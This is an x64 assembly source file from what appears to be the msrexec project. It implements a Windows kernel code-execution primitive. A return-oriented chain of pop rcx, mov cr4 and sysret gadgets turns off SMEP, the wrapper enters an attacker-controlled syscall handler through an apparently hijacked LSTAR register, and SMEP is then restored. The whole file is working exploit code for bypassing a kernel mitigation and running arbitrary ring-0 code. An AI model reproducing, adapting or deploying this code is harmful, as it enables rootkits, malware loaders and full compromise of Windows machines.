You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
msrexec/syscall_handler.asm

80 lines
1.6 KiB

extern msrexec_handler : proc
.data
; offsets into _KPCR/_KPRCB
m_kpcr_rsp_offset dq 0h
m_kpcr_krsp_offset dq 0h
m_system_call dq 0h
m_mov_cr4_gadget dq 0h
m_sysret_gadget dq 0h
m_pop_rcx_gadget dq 0h
m_smep_on dq 0h
m_smep_off dq 0h
; all of these are setup by the c++ code...
public m_smep_on
public m_smep_off
public m_kpcr_rsp_offset
public m_kpcr_krsp_offset
public m_pop_rcx_gadget
public m_mov_cr4_gadget
public m_sysret_gadget
public m_system_call
.code
syscall_handler proc
swapgs ; swap gs to kernel gs (_KPCR...)
mov rax, m_kpcr_rsp_offset ; save usermode stack to _KPRCB
mov gs:[rax], rsp
mov rax, m_kpcr_krsp_offset ; load kernel rsp....
mov rsp, gs:[rax]
push rcx ; push RIP
push r11 ; push EFLAGS
mov rcx, r10 ; swapped by syscall instruction so we switch it back...
sub rsp, 020h
call msrexec_handler ; call c++ handler (which restores LSTAR and calls lambda...)
add rsp, 020h
pop r11 ; pop EFLAGS
pop rcx ; pop RIP
mov rax, m_kpcr_rsp_offset ; restore rsp back to usermode stack...
mov rsp, gs:[rax]
swapgs ; swap back to TIB...
ret
syscall_handler endp
syscall_wrapper proc
push r10
mov r10, rcx
push m_sysret_gadget
lea rax, finish
push rax
push m_pop_rcx_gadget
push m_mov_cr4_gadget
push m_smep_on
push m_pop_rcx_gadget
lea rax, syscall_handler
push rax
push m_mov_cr4_gadget
push m_smep_off
syscall
finish:
pop r10
ret
syscall_wrapper endp
end